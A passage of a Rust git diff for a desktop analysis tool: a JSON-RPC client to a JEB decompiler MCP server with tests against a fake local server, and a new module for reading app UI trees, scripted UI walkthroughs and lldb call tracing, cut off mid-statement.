.with_remediation("Check jeb_url points at the JEB MCP endpoint (usually ending in /mcp).")); + } + let Some(id) = id else { return Ok(None) }; + let ctype = resp.header("content-type").unwrap_or("").to_ascii_lowercase(); + let msg = if ctype.contains("text/event-stream") { + matching(sse_messages(&resp.body), id) + } else { + match serde_json::from_slice::(&resp.body) { + Ok(Value::Array(a)) => matching(a, id), + Ok(v) => matching(vec![v], id), + Err(_) => None, + } + }; + msg.map(Some).ok_or_else(|| { + ToolError::new(ErrorCode::GarbledOutput, format!("JEB at {} sent no JSON-RPC response for request {id}", self.ep.url)) + .with_remediation("Check jeb_url points at a JEB MCP server.") + }) + } + + fn read_response(&self, stream: &mut TcpStream, id: Option) -> Result { + let mut buf: Vec = Vec::new(); + let mut chunk = [0u8; 16 * 1024]; + let mut head: Option<(usize, Response, Option, bool, bool)> = None; + loop { + // Done yet? + if let Some((start, resp, clen, chunked, sse)) = &head { + let raw = buf.get(*start..).unwrap_or_default(); + let (body, finished) = if *chunked { dechunk(raw) } else { (raw.to_vec(), clen.is_some_and(|n| raw.len() >= n)) }; + let sse_done = *sse && id.is_some_and(|i| matching(sse_messages(&body), i).is_some()); + if finished || sse_done || (resp.status == 202 && clen.is_none() && !*chunked) { + let mut body = body; + if let Some(n) = clen { + body.truncate(*n); + } + return Ok(Response { status: resp.status, headers: resp.headers.clone(), body }); + } + } + let wait = self.remaining()?.min(Duration::from_millis(250)); + stream.set_read_timeout(Some(wait)).map_err(|e| ToolError::internal(e.to_string()))?; + match stream.read(&mut chunk) { + Ok(0) => { + // Closed: whatever we have is the response. + let Some((start, resp, clen, chunked, _)) = head else { + return Err(ToolError::new(ErrorCode::GarbledOutput, format!("JEB at {} closed the connection without answering", self.ep.url))); + }; + let raw = buf.get(start..).unwrap_or_default(); + let mut body = if chunked { dechunk(raw).0 } else { raw.to_vec() }; + if let Some(n) = clen { + body.truncate(n); + } + return Ok(Response { status: resp.status, headers: resp.headers, body }); + } + Ok(n) => { + buf.extend_from_slice(chunk.get(..n).unwrap_or_default()); + if buf.len() > MAX_RESPONSE { + return Err(ToolError::new(ErrorCode::OverLimit, format!("JEB's answer is bigger than {MAX_RESPONSE} bytes"))); + } + } + Err(e) if matches!(e.kind(), ErrorKind::WouldBlock | ErrorKind::TimedOut | ErrorKind::Interrupted) => continue, + Err(e) => { + return Err(ToolError::new(ErrorCode::EngineMissing, format!("Reading from JEB at {} failed: {e}", self.ep.url))); + } + } + if head.is_none() + && let Some(end) = find(&buf, b"\r\n\r\n") + { + let text = String::from_utf8_lossy(buf.get(..end).unwrap_or_default()).into_owned(); + let mut lines = text.split("\r\n"); + let status_line = lines.next().unwrap_or(""); + let status = status_line + .split_whitespace() + .nth(1) + .and_then(|s| s.parse::().ok()) + .ok_or_else(|| ToolError::new(ErrorCode::GarbledOutput, format!("JEB at {} sent a malformed HTTP status line", self.ep.url)))?; + let headers: Vec<(String, String)> = + lines.filter_map(|l| l.split_once(':')).map(|(k, v)| (k.trim().to_string(), v.trim().to_string())).take(200).collect(); + let resp = Response { status, headers, body: Vec::new() }; + let clen = resp.header("content-length").and_then(|v| v.parse::().ok()); + if clen.is_some_and(|n| n > MAX_RESPONSE) { + return Err(ToolError::new(ErrorCode::OverLimit, format!("JEB's answer is bigger than {MAX_RESPONSE} bytes"))); + } + let chunked = resp.header("transfer-encoding").is_some_and(|v| v.to_ascii_lowercase().contains("chunked")); + let sse = resp.header("content-type").is_some_and(|v| v.to_ascii_lowercase().contains("text/event-stream")); + head = Some((end + 4, resp, clen, chunked, sse)); + } + } + } + + fn request(&mut self, method: &str, params: Value) -> Result { + let id = self.next_id; + self.next_id += 1; + let msg = self.post(&json!({"jsonrpc": "2.0", "id": id, "method": method, "params": params}), Some(id))?.unwrap_or(Value::Null); + if let Some(err) = msg.get("error") { + let text = err.get("message").and_then(Value::as_str).unwrap_or("unknown error"); + return Err(ToolError::new(ErrorCode::ProgramFailed, format!("JEB refused {method}: {text}")).with_details(json!({"error": err}))); + } + Ok(msg.get("result").cloned().unwrap_or(Value::Null)) + } + + /// initialize + notifications/initialized. Returns the server's initialize result. + fn initialize(&mut self) -> Result { + let r = self.request( + "initialize", + json!({"protocolVersion": PROTOCOL_VERSION, "capabilities": {}, "clientInfo": {"name": "craft-anything", "version": env!("CARGO_PKG_VERSION")}}), + )?; + self.post(&json!({"jsonrpc": "2.0", "method": "notifications/initialized"}), None)?; + Ok(r) + } + + /// Call an upstream tool; returns (payload, raw result). + fn call_tool(&mut self, name: &str, args: Value) -> Result { + let r = self.request("tools/call", json!({"name": name, "arguments": args}))?; + let texts: Vec = + r.get("content").and_then(Value::as_array).into_iter().flatten().filter_map(|c| c.get("text").and_then(Value::as_str).map(String::from)).collect(); + if r.get("isError").and_then(Value::as_bool) == Some(true) { + let text: String = texts.join("\n").chars().take(2000).collect(); + return Err(ToolError::new(ErrorCode::ProgramFailed, format!("JEB's {name} failed: {text}")) + .with_remediation("Check the arguments (paths, unit paths and item addresses as JEB names them).")); + } + if let Some(s) = r.get("structuredContent") { + return Ok(s.clone()); + } + let joined = texts.join("\n"); + Ok(serde_json::from_str::(&joined).unwrap_or(Value::String(joined))) + } +} + +/// Cap a payload for evidence. +fn capped(v: Value) -> (Value, bool) { + let text = serde_json::to_string(&v).unwrap_or_default(); + if text.len() <= MAX_PAYLOAD { + return (v, false); + } + let mut end = MAX_PAYLOAD; + while end > 0 && !text.is_char_boundary(end) { + end -= 1; + } + (json!({"truncated_json": text.get(..end).unwrap_or("")}), true) +} + +fn jeb_env(server: &Value) -> Environment { + Environment { + clean_room: false, + engine: "jeb".into(), + engine_version: server.pointer("/serverInfo/version").and_then(Value::as_str).map(String::from), + host: host_triple(), + language_id: None, + } +} + +fn evidence(op: &str, subject: Subject, server: &Value, ep: &Endpoint, params: Value) -> EvidenceBuilder { + EvidenceBuilder::new(op, subject, jeb_env(server)) + .params(params) + .authority(Authority::OutsideService) + .location(Location::new("url", ep.url.clone()).with_label("JEB MCP server")) +} + +fn server_subject(ep: &Endpoint) -> Subject { + Subject { kind: "jeb-server".into(), sha256: None, name: Some(ep.url.clone()) } +} + +fn finish(b: EvidenceBuilder, payload: Value, mut result: Value, summary: String, confidence: Confidence) -> Result { + let (payload, truncated) = capped(payload); + result["payload"] = payload; + result["payload_truncated"] = json!(truncated); + let mut b = b.result(result).summary(summary).confidence(confidence).coverage(if truncated { + crate::tools::static_input::partial(1) + } else { + Coverage::complete(1) + }); + if truncated { + b = b.limitation(Limitation::new("payload_truncated", format!("JEB's answer was cut to {MAX_PAYLOAD} bytes"))); + } + b = b.limitation(Limitation::new("external_engine", "This came from JEB, a third-party engine the user runs; it is not a clean-room result.")); + Ok(ToolOutput::evidence(b.build()?)) +} + +fn engines_jeb_check(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: ClientParams = parse_params(params)?; + let ep = endpoint_from_settings(ctx)?; + let mut c = Client::new(ep.clone(), p.timeout_secs, ctx.cancel.clone())?; + let server = c.initialize()?; + let tools = c.request("tools/list", json!({})).unwrap_or(Value::Null); + let names: Vec = tools + .get("tools") + .and_then(Value::as_array) + .into_iter() + .flatten() + .filter_map(|t| t.get("name").and_then(Value::as_str).map(String::from)) + .take(500) + .collect(); + let required = ["get_client_information", "open_project", "list_units", "decompile_code_item"]; + let missing: Vec<&str> = required.iter().copied().filter(|r| !names.iter().any(|n| n == r)).collect(); + let info = c.call_tool("get_client_information", json!({}))?; + let name = server.pointer("/serverInfo/name").and_then(Value::as_str).unwrap_or("JEB MCP server"); + let summary = format!( + "Connected to {name}{} at {}; {} upstream tools{}.", + server.pointer("/serverInfo/version").and_then(Value::as_str).map(|v| format!(" {v}")).unwrap_or_default(), + ep.url, + names.len(), + if missing.is_empty() { String::new() } else { format!(", missing {}", missing.join(", ")) } + ); + let b = evidence("engines_jeb_check", server_subject(&ep), &server, &ep, json!({})); + let result = json!({ + "url": ep.url, + "connected": true, + "protocol_version": server.get("protocolVersion"), + "server_info": server.get("serverInfo"), + "capabilities": server.get("capabilities"), + "upstream_tools": names, + "missing_tools": missing, + "session": c.session.is_some(), + }); + finish(b, info, result, summary, Confidence::Observed) +} + +fn file_sha256(path: &std::path::Path, cancel: &CancelToken) -> Result { + use sha2::{Digest, Sha256}; + let mut f = std::fs::File::open(path).map_err(|e| ToolError::io(path.display(), e))?; + let mut h = Sha256::new(); + let mut buf = vec![0u8; 1 << 20]; + let mut n_read = 0u64; + loop { + let n = f.read(&mut buf).map_err(|e| ToolError::io(path.display(), e))?; + if n == 0 { + break; + } + h.update(buf.get(..n).unwrap_or_default()); + n_read += n as u64; + if n_read.is_multiple_of(64 << 20) { + cancel.check()?; + } + } + Ok(hex::encode(h.finalize())) +} + +fn android_jeb_open(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: OpenParams = parse_params(params)?; + let path = std::path::PathBuf::from(&p.path); + if !path.is_absolute() { + return Err(ToolError::invalid(format!("path {:?} must be absolute", p.path))); + } + if !path.is_file() { + return Err(ToolError::new(ErrorCode::NotFound, format!("{} is not a file", path.display()))); + } + let ep = endpoint_from_settings(ctx)?; + let sha = file_sha256(&path, &ctx.cancel)?; + let mut c = Client::new(ep.clone(), p.timeout_secs, ctx.cancel.clone())?; + let server = c.initialize()?; + ctx.report(None, "JEB is opening the file"); + let payload = c.call_tool("open_project", json!({"path": p.path}))?; + let name = path.file_name().map(|n| n.to_string_lossy().into_owned()); + let subject = Subject { kind: "file".into(), sha256: Some(sha), name: name.clone() }; + let b = evidence("android_jeb_open", subject, &server, &ep, json!({"path": p.path})).location(Location::new("path", p.path.clone())); + let summary = format!("JEB opened {}.", name.unwrap_or_else(|| p.path.clone())); + finish(b, payload, json!({"url": ep.url, "path": p.path}), summary, Confidence::Observed) +} + +fn android_jeb_units_browse(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: ListParams = parse_params(params)?; + if !(1..=100).contains(&p.count) { + return Err(ToolError::invalid("count must be 1..=100")); + } + let ep = endpoint_from_settings(ctx)?; + let mut c = Client::new(ep.clone(), p.timeout_secs, ctx.cancel.clone())?; + let server = c.initialize()?; + let mut args = json!({"index": p.index, "count": p.count}); + if let Some(f) = &p.filter { + args["filter"] = json!(f); + } + if let Some(u) = &p.parent_unit_path { + args["parent_unit_path"] = json!(u); + } + let payload = c.call_tool("list_units", args.clone())?; + let n = payload.get("units").and_then(Value::as_array).map(Vec::len).or_else(|| payload.as_array().map(Vec::len)); + let summary = match n { + Some(n) => format!("JEB listed {n} unit(s) from index {}.", p.index), + None => format!("JEB answered list_units from index {}.", p.index), + }; + let b = evidence("android_jeb_units_browse", server_subject(&ep), &server, &ep, args); + finish(b, payload, json!({"url": ep.url, "index": p.index, "count": p.count, "units_returned": n}), summary, Confidence::Observed) +} + +fn android_jeb_decompile(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: DecompileParams = parse_params(params)?; + if p.item_address.trim().is_empty() || p.item_address.len() > 4096 { + return Err(ToolError::invalid("item_address must be 1..=4096 characters")); + } + let ep = endpoint_from_settings(ctx)?; + let mut c = Client::new(ep.clone(), p.timeout_secs, ctx.cancel.clone())?; + let server = c.initialize()?; + let kind = match p.item_kind { + ItemKind::Type => "type", + ItemKind::Method => "method", + }; + let mut args = json!({"item_address": p.item_address, "item_kind": kind}); + if let Some(u) = &p.unit_path { + args["unit_path"] = json!(u); + } + let payload = c.call_tool("decompile_code_item", args.clone())?; + let summary = format!("JEB decompiled {kind} {}.", p.item_address); + let b = evidence("android_jeb_decompile", server_subject(&ep), &server, &ep, args) + .location(Location::new(if kind == "type" { "class" } else { "method" }, p.item_address.clone())) + .limitation(Limitation::new("decompiler_output", "Decompiled source is a reconstruction; it may not compile or match the original exactly.")); + finish(b, payload, json!({"url": ep.url, "item_address": p.item_address, "item_kind": kind}), summary, Confidence::Derived) +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::{CallOptions, Caller, Engine}; + use craft_anything_platform::sync::Mutex; + use std::io::BufRead; + use std::net::TcpListener; + use std::sync::Arc; + + fn engine(url: Option) -> Engine { + let mut s = crate::testing::session(); + s.settings.engines.jeb_url = url; + Engine::new(s) + } + + fn call(e: &Engine, id: &str, p: Value) -> Result { + e.call(id, p, CallOptions::new(Caller::Mcp)).map(|o| o.to_json()) + } + + /// A fake JEB MCP server. Returns its URL and the session ids it saw on tool calls. + fn fake_server(sse: bool) -> (String, Arc>>) { + let l = TcpListener::bind("127.0.0.1:0").unwrap(); + let url = format!("http://127.0.0.1:{}/mcp", l.local_addr().unwrap().port()); + let seen = Arc::new(Mutex::new(Vec::new())); + let seen2 = seen.clone(); + std::thread::spawn(move || { + for s in l.incoming() { + let Ok(mut s) = s else { break }; + let mut r = std::io::BufReader::new(s.try_clone().unwrap()); + let mut len = 0usize; + let mut sid = None; + loop { + let mut line = String::new(); + if r.read_line(&mut line).unwrap_or(0) == 0 { + break; + } + let l = line.trim_end().to_string(); + if l.is_empty() { + break; + } + let lower = l.to_ascii_lowercase(); + if let Some(v) = lower.strip_prefix("content-length:") { + len = v.trim().parse().unwrap(); + } + if lower.starts_with("mcp-session-id:") { + sid = Some(l.split_once(':').unwrap().1.trim().to_string()); + } + } + let mut body = vec![0u8; len]; + r.read_exact(&mut body).unwrap(); + let req: Value = serde_json::from_slice(&body).unwrap(); + let method = req["method"].as_str().unwrap_or("").to_string(); + let id = req["id"].clone(); + let result = match method.as_str() { + "initialize" => { + json!({"protocolVersion": PROTOCOL_VERSION, "serverInfo": {"name": "jeb-mcp", "version": "1.3.0"}, "capabilities": {"tools": {}}}) + } + "notifications/initialized" => { + s.write_all(b"HTTP/1.1 202 Accepted\r\nContent-Length: 0\r\n\r\n").unwrap(); + continue; + } + "tools/list" => { + json!({"tools": [{"name": "get_client_information"}, {"name": "open_project"}, {"name": "list_units"}, {"name": "decompile_code_item"}]}) + } + "tools/call" => { + seen2.lock().unwrap().push(sid.clone().unwrap_or_default()); + let name = req["params"]["name"].as_str().unwrap_or(""); + match name { + "get_client_information" => json!({"content": [{"type": "text", "text": "{\"jeb_version\":\"5.48\"}"}]}), + "list_units" => { + json!({"content": [], "structuredContent": {"units": [{"path": "Bytecode"}, {"path": "Manifest"}], "args": req["params"]["arguments"]}}) + } + "decompile_code_item" if req["params"]["arguments"]["item_address"] == "Lbad;" => { + json!({"isError": true, "content": [{"type": "text", "text": "no such item"}]}) + } + "decompile_code_item" => json!({"content": [{"type": "text", "text": "public class Main {}"}]}), + "open_project" => json!({"content": [{"type": "text", "text": "{\"opened\":true}"}]}), + _ => json!({"isError": true, "content": []}), + } + } + _ => json!({}), + }; + let msg = serde_json::to_string(&json!({"jsonrpc": "2.0", "id": id, "result": result})).unwrap(); + let resp = if sse && method == "tools/call" { + // Chunked event stream with a notification first. + let events = format!( + "event: message\r\ndata: {{\"jsonrpc\":\"2.0\",\"method\":\"notifications/progress\"}}\r\n\r\nevent: message\r\ndata: {msg}\r\n\r\n" + ); + let half = events.len() / 2; + format!( + "HTTP/1.1 200 OK\r\nContent-Type: text/event-stream\r\nTransfer-Encoding: chunked\r\nMcp-Session-Id: sess-1\r\n\r\n{:x}\r\n{}\r\n{:x}\r\n{}\r\n0\r\n\r\n", + half, + &events[..half], + events.len() - half, + &events[half..] + ) + } else { + format!("HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nMcp-Session-Id: sess-1\r\nContent-Length: {}\r\n\r\n{msg}", msg.len()) + }; + let _ = s.write_all(resp.as_bytes()); + } + }); + (url, seen) + } + + #[test] + fn talks_to_a_json_server() { + let (url, seen) = fake_server(false); + let e = engine(Some(url.clone())); + let v = call(&e, "engines_jeb_check", json!({})).unwrap(); + assert_eq!(v["environment"]["engine"], "jeb"); + assert_eq!(v["environment"]["clean_room"], false); + assert_eq!(v["environment"]["engine_version"], "1.3.0"); + assert_eq!(v["result"]["payload"]["jeb_version"], "5.48"); + assert!(v["result"]["missing_tools"].as_array().unwrap().is_empty()); + let d = call(&e, "android_jeb_decompile", json!({"item_address": "LMain;", "item_kind": "type"})).unwrap(); + assert_eq!(d["result"]["payload"], "public class Main {}"); + let err = call(&e, "android_jeb_decompile", json!({"item_address": "Lbad;", "item_kind": "method"})).unwrap_err(); + assert_eq!(err.code, ErrorCode::ProgramFailed); + assert!(err.message.contains("no such item")); + let f = craft_anything_testkit::temp_file("x.apk", b"PK\x05\x06"); + let o = call(&e, "android_jeb_open", json!({"path": f})).unwrap(); + assert_eq!(o["result"]["payload"]["opened"], true); + assert_eq!(o["subject"]["sha256"].as_str().unwrap().len(), 64); + assert!(seen.lock().unwrap().iter().all(|s| s == "sess-1")); + } + + #[test] + fn talks_to_an_sse_server() { + let (url, _) = fake_server(true); + let e = engine(Some(url)); + let v = call(&e, "android_jeb_units_browse", json!({"filter": "Byte", "index": 2, "count": 5})).unwrap(); + assert_eq!(v["result"]["units_returned"], 2); + assert_eq!(v["result"]["payload"]["args"]["filter"], "Byte"); + assert_eq!(v["result"]["payload"]["args"]["index"], 2); + assert!(call(&e, "android_jeb_units_browse", json!({"count": 101})).is_err()); + } + + #[test] + fn not_configured_refused_and_remote_urls() { + let e = engine(None); + let err = call(&e, "engines_jeb_check", json!({})).unwrap_err(); + assert_eq!(err.code, ErrorCode::EngineMissing); + assert!(err.message.contains("not configured")); + assert!(err.remediation.unwrap().contains("jeb_url")); + let port = TcpListener::bind("127.0.0.1:0").unwrap().local_addr().unwrap().port(); + let e = engine(Some(format!("http://127.0.0.1:{port}/mcp"))); + assert_eq!(call(&e, "engines_jeb_check", json!({})).unwrap_err().code, ErrorCode::EngineMissing); + for bad in [ + "http://10.0.0.1:8425/mcp", + "https://127.0.0.1/mcp", + "http://user:pw@127.0.0.1/mcp", + "http://127.0.0.1/mcp?x=1", + "http://127.0.0.1:0/", + "ftp://localhost", + ] { + let e = engine(Some(bad.into())); + assert_eq!(call(&e, "android_jeb_units_browse", json!({})).unwrap_err().code, ErrorCode::BadSettings, "{bad}"); + } + } + + #[test] + fn slow_server_times_out() { + let l = TcpListener::bind("127.0.0.1:0").unwrap(); + let url = format!("http://127.0.0.1:{}/mcp", l.local_addr().unwrap().port()); + std::thread::spawn(move || { + let mut held = Vec::new(); + for s in l.incoming().take(2) { + held.push(s); + std::thread::sleep(Duration::from_secs(3)); + } + }); + let e = engine(Some(url)); + let started = Instant::now(); + let err = call(&e, "engines_jeb_check", json!({"timeout_secs": 1})).unwrap_err(); + assert_eq!(err.code, ErrorCode::TimedOut); + assert!(started.elapsed() < Duration::from_secs(3)); + } + + #[test] + fn endpoint_parsing_and_framing() { + let ep = parse_endpoint("http://[::1]:9000/mcp").unwrap(); + assert_eq!(ep.host_header, "[::1]:9000"); + assert_eq!(ep.path, "/mcp"); + assert_eq!(parse_endpoint("http://localhost").unwrap().addrs.len(), 2); + let (b, done) = dechunk(b"3\r\nabc\r\n2\r\nde\r\n0\r\n\r\n"); + assert_eq!((b.as_slice(), done), (&b"abcde"[..], true)); + assert!(!dechunk(b"5\r\nab").1); + assert!(!dechunk(b"zz\r\n").1); + let msgs = sse_messages(b"data: {\"id\":1,\"result\":2}\n\ndata: junk\n\n"); + assert_eq!(matching(msgs, 1).unwrap()["result"], 2); + for seed in 0..50 { + let n = craft_anything_testkit::noise(seed, 300); + let _ = dechunk(&n); + let _ = sse_messages(&n); + let _ = parse_endpoint(&String::from_utf8_lossy(&n)); + } + } +} diff --git a/desktop/crates/engine/src/tools/apple_runtime.rs b/desktop/crates/engine/src/tools/apple_runtime.rs new file mode 100644 index 0000000..4916041 --- /dev/null +++ b/desktop/crates/engine/src/tools/apple_runtime.rs @@ -0,0 +1,678 @@ +//! Runtime observation of native apps: the accessibility (UI) tree of a running app, a short +//! scripted UI walkthrough, and native call tracing under a debugger. +//! +//! The UI tree is read on macOS (the accessibility APIs) and on Windows (UI Automation, through a +//! PowerShell script that ships with us); the walkthrough and call tracing need macOS and `lldb`. On +//! any other host they return a clear `wrong_os` result immediately — they never hang +//! waiting for something that cannot exist. The work goes through +//! `craft_anything_platform::process` with a deadline, closed stdin and capped output, like every +//! other external program we run. + +use crate::tool::{Ctx, Effects, Requires, ToolOutput, ToolSpec, Toolset, parse_params, schema_of}; +use craft_anything_evidence::{ErrorCode, ToolError}; +use schemars::JsonSchema; +use serde::Deserialize; +use serde_json::Value; + +pub fn specs() -> Vec { + let runtime = Toolset::Runtime; + // All three run or inspect a live process, so they execute foreign code and need consent. + let effects = Effects::MUTATES_SESSION.union(Effects::LAUNCHES_PROCESS).union(Effects::CHANGES_UI_STATE).union(Effects::EXECUTES_FOREIGN_CODE); + vec![ + ToolSpec { + id: "runtime_ui_read", + title: "Read an app's screen", + summary: "Read the UI tree of a running app by its pid: every window's controls in order with their depth, role, title, identifier and value (macOS: the accessibility tree, optionally with a screenshot; Windows: UI Automation, also the class, position and size, and whether it's enabled; window_id picks one window by its handle). Password fields' values are never read; long values are cut at 500 characters. Other hosts get a clear wrong_os result.", + beginner: "See the buttons, labels and fields of a running app.", + toolset: runtime, + effects, + requires: Requires::Os(&["macos", "windows"]), + input_schema: schema_of::, + run: runtime_ui_read, + }, + ToolSpec { + id: "runtime_ui_walkthrough_record", + title: "Drive an app's screen", + summary: "Run a short scripted UI walkthrough against a running app by its pid and record its UI tree before and after the steps. Each step names an action and an element (its exact title or identifier). macOS: any accessibility action (e.g. AXPress). Windows (UI Automation): press (invoke, else toggle, select or expand), expand, collapse, toggle, select or focus; AXPress, AXShowMenu and AXRaise work too. Each step reports dispatched, element_not_found, not_supported, unknown_action or failed. Password fields' titles and values are never read. Other hosts get wrong_os.", + beginner: "Click through an app step by step and record what the screen shows.", + toolset: runtime, + effects, + requires: Requires::Os(&["macos", "windows"]), + input_schema: schema_of::, + run: runtime_ui_walkthrough_record, + }, + ToolSpec { + id: "apple_calls_observe", + title: "Watch a Mac app's calls", + summary: "Launch a macOS program under lldb, set breakpoints on named functions and ObjC selectors, and record each hit with its argument registers. Bounded by duration and event count. macOS only.", + beginner: "Watch which functions a Mac app calls as it runs.", + toolset: runtime, + effects: effects.union(Effects::ACCESSES_NETWORK), + requires: Requires::Os(&["macos"]), + input_schema: schema_of::, + run: apple_calls_observe, + }, + ] +} + +/// The error returned on hosts that cannot run these tools. +#[cfg(not(target_os = "macos"))] +fn wrong_os(what: &str) -> ToolError { + ToolError::new(ErrorCode::FeatureMissing, format!("{what} needs macOS and is not available on this host ({}).", craft_anything_evidence::host_triple())) + .with_remediation("Run this on a macOS machine with the command-line developer tools installed.") + .with_details(serde_json::json!({"reason": "wrong_os", "host": craft_anything_evidence::host_triple()})) +} + +// -------------------------------------------------------------------------------------------- +// Parameters (shared across hosts so the schema is identical everywhere) + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct ObserveUiParams { + /// The process id of the running app. + #[serde(default)] + pub pid: Option, + /// A specific window to restrict to (on Windows, its window handle). + #[serde(default)] + pub window_id: Option, + /// Include a screenshot (PNG, base64) alongside the tree. + #[serde(default)] + pub screenshot: bool, + /// Include the accessibility tree. + #[serde(default = "default_true")] + pub accessibility: bool, + /// Largest number of accessibility nodes to return. + #[serde(default = "default_max_nodes")] + pub max_nodes: usize, +} + +fn default_true() -> bool { + true +} +fn default_max_nodes() -> usize { + 5000 +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct CaptureUiParams { + #[serde(default)] + pub pid: Option, + /// Steps to perform, each an accessibility action such as press/focus on an element path. + #[serde(default)] + pub steps: Vec, + #[serde(default = "default_max_nodes")] + pub max_nodes: usize, + /// Wall-clock budget in milliseconds. + #[serde(default = "default_duration_ms")] + pub duration_ms: u64, +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct UiStep { + /// Accessibility action, e.g. `AXPress` (on Windows also press, expand, collapse, toggle, + /// select or focus). + pub action: String, + /// Identifier or title path to the element the action targets. + pub element: String, +} + +fn default_duration_ms() -> u64 { + 10_000 +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct ObserveCallsParams { + /// Absolute path to the macOS program to launch under the debugger. + pub executable: String, + #[serde(default)] + pub arguments: Vec, + #[serde(default)] + pub working_directory: Option, + /// Breakpoints to set. + pub breakpoints: Vec, + /// How long to let it run, in milliseconds (100..=600000). + #[serde(default = "default_duration_ms")] + pub duration_ms: u64, + /// Most breakpoint hits to record. + #[serde(default = "default_max_events")] + pub max_events: usize, +} + +fn default_max_events() -> usize { + 1000 +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(tag = "kind", rename_all = "kebab-case", deny_unknown_fields)] +pub enum Breakpoint { + /// Break when a named function is entered. + Function { + name: String, + #[serde(default)] + module: Option, + }, + /// Break on an Objective-C method. + ObjcMethod { class_name: String, selector: String }, +} + +// -------------------------------------------------------------------------------------------- +// Dispatch (host-specific implementations below) + +/// The UI tree of a running process's windows, as `runtime_ui_read` returns it (`nodes`, +/// `truncated`): for tools that start a program and read its screen before closing it. +pub(super) fn ui_tree(ctx: &mut Ctx<'_>, pid: u32, max_nodes: usize) -> Result { + #[cfg(target_os = "macos")] + { + let request = + serde_json::json!({"command": "observe", "pid": pid, "window_id": null, "screenshot": false, "accessibility": true, "max_nodes": max_nodes}); + macos::run_helper(ctx, request, 10_000) + } + #[cfg(windows)] + { + windows::ui_tree(ctx, pid, None, max_nodes) + } + #[cfg(not(any(target_os = "macos", windows)))] + { + let _ = (ctx, pid, max_nodes); + Err(wrong_os("Reading a program's UI tree")) + } +} + +fn runtime_ui_read(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: ObserveUiParams = parse_params(params)?; + #[cfg(target_os = "macos")] + { + macos::runtime_ui_read(ctx, p) + } + #[cfg(windows)] + { + windows::runtime_ui_read(ctx, p) + } + #[cfg(not(any(target_os = "macos", windows)))] + { + let _ = (ctx, p); + Err(wrong_os("runtime_ui_read")) + } +} + +fn runtime_ui_walkthrough_record(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: CaptureUiParams = parse_params(params)?; + #[cfg(target_os = "macos")] + { + macos::runtime_ui_walkthrough_record(ctx, p) + } + #[cfg(windows)] + { + windows::runtime_ui_walkthrough_record(ctx, p) + } + #[cfg(not(any(target_os = "macos", windows)))] + { + let _ = (ctx, p); + Err(wrong_os("runtime_ui_walkthrough_record")) + } +} + +fn apple_calls_observe(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: ObserveCallsParams = parse_params(params)?; + if p.duration_ms < 100 || p.duration_ms > 600_000 { + return Err(ToolError::invalid("duration_ms must be 100..=600000")); + } + if p.breakpoints.is_empty() { + return Err(ToolError::invalid("at least one breakpoint is required")); + } + #[cfg(target_os = "macos")] + { + macos::apple_calls_observe(ctx, p) + } + #[cfg(not(target_os = "macos"))] + { + let _ = ctx; + Err(wrong_os("apple_calls_observe")) + } +} + +/// Build an lldb Python command that sets breakpoints, runs, and prints each hit as JSON. +#[cfg_attr(not(target_os = "macos"), allow(dead_code))] +fn lldb_script(p: &ObserveCallsParams) -> String { + let mut setup = String::new(); + setup.push_str("settings set auto-confirm true\n"); + setup.push_str(&format!("target create \"{}\"\n", p.executable.replace('"', "\\\""))); + for bp in &p.breakpoints { + match bp { + Breakpoint::Function { name, module } => match module { + Some(m) => setup.push_str(&format!("breakpoint set --name \"{name}\" --shlib \"{m}\"\n")), + None => setup.push_str(&format!("breakpoint set --name \"{name}\"\n")), + }, + Breakpoint::ObjcMethod { class_name, selector } => { + setup.push_str(&format!("breakpoint set --name \"-[{class_name} {selector}]\"\n")); + setup.push_str(&format!("breakpoint set --name \"+[{class_name} {selector}]\"\n")); + } + } + } + // A breakpoint command that records the argument registers and continues. + setup.push_str("breakpoint command add --script-type python -o 'frame = bp_loc.GetThread().GetSelectedFrame() if bp_loc else None\\nprint(\"CRAFT_HIT\", frame.GetFunctionName() if frame else \"?\")\\nreturn False' 1\n"); + let args = p.arguments.iter().map(|a| a.replace('"', "\\\"")).map(|a| format!("\"{a}\"")).collect::>().join(" "); + setup.push_str(&format!("process launch -- {args}\n")); + setup +} + +#[cfg(target_os = "macos")] +mod macos { + use super::*; + use craft_anything_evidence::{Authority, Confidence, Coverage, Environment, EvidenceBuilder, Limitation, Subject, host_triple}; + use craft_anything_platform::process::{Process, StdinMode}; + use serde_json::json; + use std::time::Duration; + + fn env(ctx: &Ctx<'_>, engine: &str) -> Environment { + Environment { clean_room: ctx.session.clean_room(), engine: engine.into(), engine_version: None, host: host_triple(), language_id: None } + } + + /// A private owner-only working directory for a run. + fn private_root() -> Result { + super::super::artifact_tools::fresh_temp_dir("craft-native-ui") + } + + // ---- apple_calls_observe via lldb ---- + + pub fn apple_calls_observe(ctx: &mut Ctx<'_>, p: ObserveCallsParams) -> Result { + let exe = std::path::Path::new(&p.executable); + if !exe.is_absolute() { + return Err(ToolError::invalid("executable must be an absolute path")); + } + let lldb = craft_anything_engines::locate("lldb", &ctx.session.settings.engines.tools, &ctx.session.settings.engine_store_dir()).ok_or_else(|| { + ToolError::new(ErrorCode::EngineMissing, "lldb was not found.") + .with_remediation("Install the macOS command-line developer tools (xcode-select --install).") + })?; + + let setup = lldb_script(&p); + + let root = private_root()?; + let script_path = root.join("trace.lldb"); + craft_anything_platform::write_atomic(&script_path, setup.as_bytes())?; + + let ct = ctx.cancel.clone(); + let mut cmd = Process::new(&lldb) + .args(["--batch", "--no-lldbinit", "--source"]) + .arg(&script_path) + .stdin(StdinMode::Closed) + .timeout(Duration::from_millis(p.duration_ms.saturating_add(60_000))) + .stdout_cap(8 * 1024 * 1024) + .cancel_when(move || ct.is_cancelled()) + .label("lldb"); + if let Some(wd) = &p.working_directory { + cmd = cmd.cwd(wd); + } + let out = 